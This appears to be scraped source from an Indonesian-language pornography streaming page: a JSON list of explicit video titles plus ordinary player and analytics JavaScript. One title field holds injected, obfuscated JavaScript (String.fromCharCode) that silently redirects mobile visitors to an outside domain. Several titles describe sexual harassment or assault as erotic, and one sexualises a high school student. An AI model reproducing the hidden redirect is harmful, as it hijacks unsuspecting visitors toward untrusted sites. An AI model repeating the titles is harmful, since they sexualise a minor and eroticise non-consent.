Seorang gadis berbokong besar mengenakan celana longgar, mengalami pijatan pelecehan seksual yang menyenangkan sekaligus canggung serta seks basah. (Kasagi Ichika, Tenma Yui, Fech-eye)
Daya tarik sensual tanpa disadari yang memikat pria. Payudara L-cup yang lembut dan berisi yang tidak bisa disembunyikan bahkan saat berpakaian. Tianye You. Tianye You S1 NO.1 STYLE","lastmod":"2026-07-11","duration":"03:02:13","url":"/play/19165423.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzQ2ZDdhNzZmMWM2ZGM5ZDRlZTRkNzQ0MTdjZTFjYmIuanBn.cache","vod_id":19015054,"title":"GANA2143 Fa●Fa●Splash Penjemputan Bandara! Pesta basah dan liar! Jika kamu bersenang-senang, kamu bisa minum bersama para gadis! Aku akan menawarkan untuk mengantarnya pulang dan ke hotelnya... lalu kita akan bermain Twister dengan pakaian renang kita! ? Seorang gadis nakal dan seorang pemula yang curang, dua mahasiswi saling penasaran secara seksual [seks kelompok 4P].","lastmod":"2025-03-24","duration":"01:25:47","url":"/play/19015054.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDFmZDRhMGZkYjQ0MzllNjc1MzQ4ZWU1OGZjMGRkZjQuanBn.cache","vod_id":18981798,"title":"Setelah menikmati hubungan intim dari kedua sisi, saya ingin dibanjiri sperma.","lastmod":"2025-12-14","duration":"00:31:51","url":"/play/18981798.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvYTk4MzFmY2NjZDYxMDg3ZGQ0MjAwMjcxMmYzMzdlYjcuanBn.cache","vod_id":19166316,"title":"Remake live-action dari kisah tentang seorang gadis introvert yang diizinkan menggunakan alat kelaminnya, dengan lebih dari 250.000 kopi terjual! Paling populer: Aoi Ibuki MOODYZ","lastmod":"2026-07-11","duration":"02:00:28","url":"/play/19166316.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzAxODQyYzk4MTYxMzQzMzM1ZTcxMzcyZDU3MDIxMjkuanBn.cache","vod_id":18927222,"title":"Para terapis pijat wanita di klub \"Little Cute Platform\" (sebelumnya bernama \"Kawaii\") menawarkan pijat sensual dan pertunjukan seks oral yang sangat menggoda.","lastmod":"2025-12-14","duration":"00:55:56","url":"/play/18927222.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzU1NDg4Zjc1MTk4MWJiNzcxYzViMTlhNzc0ZmNkMTEuanBn.cache","vod_id":18956645,"title":"Seorang wanita muda yang terhormat, mengenakan piyama, menggoda seorang pria, yang kemudian menelanjanginya di depan kamera. Dia melakukan seks oral padanya, membiarkan pria itu menghisap payudaranya dan menjilat vaginanya, lalu menindihnya di sofa untuk penetrasi yang intens dan merangsang.","lastmod":"2025-03-22","duration":"01:29:43","url":"/play/18956645.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODFhNjI0ZDI5YTczNzgwYjNiNGQ0ZDY2OWM2MGM0MzYuanBn.cache","vod_id":19009127,"title":"Manga SABA474: Chie, seorang mahasiswi dengan payudara besar yang tersembunyi di balik kacamata yang ketinggalan zaman, memiliki sedikit pengalaman seksual tetapi selalu berfantasi tentang hal-hal erotis. Dia terjerumus ke dalam penyimpangan seksual karena kenikmatan penetrasi penis, mengerang dan mengalami orgasme berulang kali selama berhubungan seks.","lastmod":"2025-03-24","duration":"02:19:34","url":"/play/19009127.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjUxZmZiMGQ3MDMzMzNmMGY4YzQ2ZjljYmNmZTdmMjYuanBn.cache","vod_id":19157761,"title":"Salon pribadi wanita yang sudah menikah; tetangga kotor dan murahan dengan penis besar; terapis pijat istri muda yang bejat MVSD-571-C","lastmod":"2026-05-12","duration":"02:03:32","url":"/play/19157761.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjYwYTdiMDQ3Yjc3ODc0MWEyZTViYTA4NjYzY2IwNDUuanBn.cache","vod_id":18968471,"title":"[Subtitel Bahasa Mandarin] NACR-644 Memeras sperma hingga testis kosong! Pijat minyak perjalanan bisnis Rio Nagarekawa","lastmod":"2025-03-23","duration":"02:00:57","url":"/play/18968471.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjZiOGU4ODRjNmYwMWMzNjQyZDI2MGJhYmQ0YWQwZTAuanBn.cache","vod_id":19143078,"title":"Selama perjalanan bisnis, ia berbagi kamar dengan bawahannya yang masih perawan… Bos wanitanya merayunya dengan rayuan erotis, dan kemudian ia melepaskan kendali dengan hubungan seks yang tak terkendali, intens, dan seperti piston. (MGOLD-048)","lastmod":"2026-02-12","duration":"02:04:10","url":"/play/19143078.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODdiYzU2ODMxZGViODdlNDdlNjk4ODA5OWI3ODdhMTkuanBn.cache","vod_id":18975570,"title":"SIRO-5031 [Seks Rahasia di Belakang Pacar] Seorang gadis cantik dan modis diserang di seluruh tubuhnya, menggeliat kesakitan!","lastmod":"2025-12-14","duration":"00:59:01","url":"/play/18975570.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDUvZDQ1MGQ0YzIwNzM4ZmU4ODEzMTk4ZGViYjFmOGEwMzguanBn.cache","vod_id":19166652,"title":"Kebangkitan Lesbian Sang Istri ~ Seks Lesbian Antar Istri Dimulai dengan Pertukaran Pasangan yang Santai!! ~ Sayahara Yuri, Shirakawa Hanayoshi U&K","lastmod":"2026-07-11","duration":"01:59:35","url":"/play/19166652.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDYvMmQxZjViODU1NTc4NzE4MGU5ZDdlNzFlYmFkN2JjZjcuanBn.cache","vod_id":19056247,"title":"Kencan Polos Putri Naniwa: Pertama Kali Menggunakan Aplikasi Pencocokan, Pertama Kali Berhubungan Seks di Hotel Cinta, Uchiyama Mahiro, Uchiyama Mahiro MIFD534","lastmod":"2025-10-05","duration":"01:57:11","url":"/play/19056247.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzU5OWQ2YjVjMmFhNTQzNjFlMjQ3YjRjMTNmZjkyZTUuanBn.cache","vod_id":18951411,"title":"MMIX-007 Tanpa pakaian dalam, stoking hitam ketat menempel di anus dan alat kelamin, 8 ibu rumah tangga dengan bokong besar dan kaki indah, 4 jam","lastmod":"2025-03-22","duration":"01:59:22","url":"/play/18951411.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYWM2NGQxMTUxMmFhZWEyMjI3ZDU3OGExYzJhYjM2YmUuanBn.cache","vod_id":19161048,"title":"HEYZO 3240 Z ~Seks Puncak dengan Nona Erica~ – Erica Shiomi","lastmod":"2026-05-31","duration":"59:43","url":"/play/19161048.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTdmODY1OTNkZmY4N2Y0ZGU2MDRiMDE4YWI0NWJhMDYuanBn.cache","vod_id":19138787,"title":"Rekan kerja pria dan wanita merasakan pijatan minyak esensial yang intens pada bokong mulus dan telanjang selama istirahat kerja!? Seorang rekan kerja wanita yang sudah punya pacar terlibat dalam pertemuan seksual yang mendebarkan. Aktor tidak dikenal SKMJ-650","lastmod":"2026-01-17","duration":"03:48:44","url":"/play/19138787.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNDlkOGZmOGFkNmM5ZDFhNWM1NTU0Nzc0ZTc4MWU2ZTAuanBn.cache","vod_id":19164405,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}HEYZO 3331 Bisakah Anda melakukannya secara total? Seks tanpa peng保护 saat wawancara pijat! —Ai Yamashita","lastmod":"2026-07-11","duration":"01:06:18","url":"/play/19164405.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzJhOTAxNmUzZTZiODYxZjA5NWI0M2QxNGE1OTc5MzEuanBn.cache","vod_id":19005206,"title":"JUFE-531-C Seorang wanita menikah yang kotor pergi berlibur ke pemandian air panas untuk menikmati seks, tetapi wajahnya kotor, sesuatu yang tidak pernah dia tunjukkan kepada suaminya.","lastmod":"2025-03-23","duration":"02:03:53","url":"/play/19005206.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDFiZWU4ODkyZjQ0YTVjZTliOGEzZGU4Zjk4OWQwYmIuanBn.cache","vod_id":18935166,"title":"[Subtitle Bahasa Mandarin] GS-294 Sendirian di Lift dengan Kakak Perempuan yang Menggoda! Pelaku Pelecehan Seksual","lastmod":"2025-03-22","duration":"01:50:39","url":"/play/18935166.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjJjNjZmOGQzMWQ4ZmU3YjY1ZDFjZDlmMmEwYTNlNTcuanBn.cache","vod_id":19151443,"title":"Seorang siswi SMA amatir dijemput tanpa kondom! Seorang siswi SMA yang polos dan lugu tidak bertindak sembrono dan berhasil melakukan hubungan seks tanpa perlindungan! 6 SKMJ-717","lastmod":"2026-04-03","duration":"03:29:33","url":"/play/19151443.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDM0NzU5MGViY2MxZWQ1ODdjYmQ5YmZhYzdlMjVkOWIuanBn.cache","vod_id":18962914,"title":"MXGS-1025 Seks Penuh Gairah dengan Payudara Besar (4 Adegan) - Northern Cool","lastmod":"2025-12-14","duration":"01:53:03","url":"/play/18962914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTU5ZWIyYjczYTczYmJjYjk1ZTE0ZmUxM2RjNmNkZTYuanBn.cache","vod_id":18952268,"title":"NMP-060 Magic Pickup! Vol.60 Hanya Untuk Istri-Istri Cantik!! Menggoda wanita di Nakano dan memberi mereka penetrasi","lastmod":"2025-03-22","duration":"01:51:50","url":"/play/18952268.html"}]},
videoTitle: 'Seorang gadis berbokong besar mengenakan celana longgar, mengalami pijatan pelecehan seksual yang menyenangkan sekaligus canggung serta seks basah. (Kasagi Ichika, Tenma Yui, Fech-eye)',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}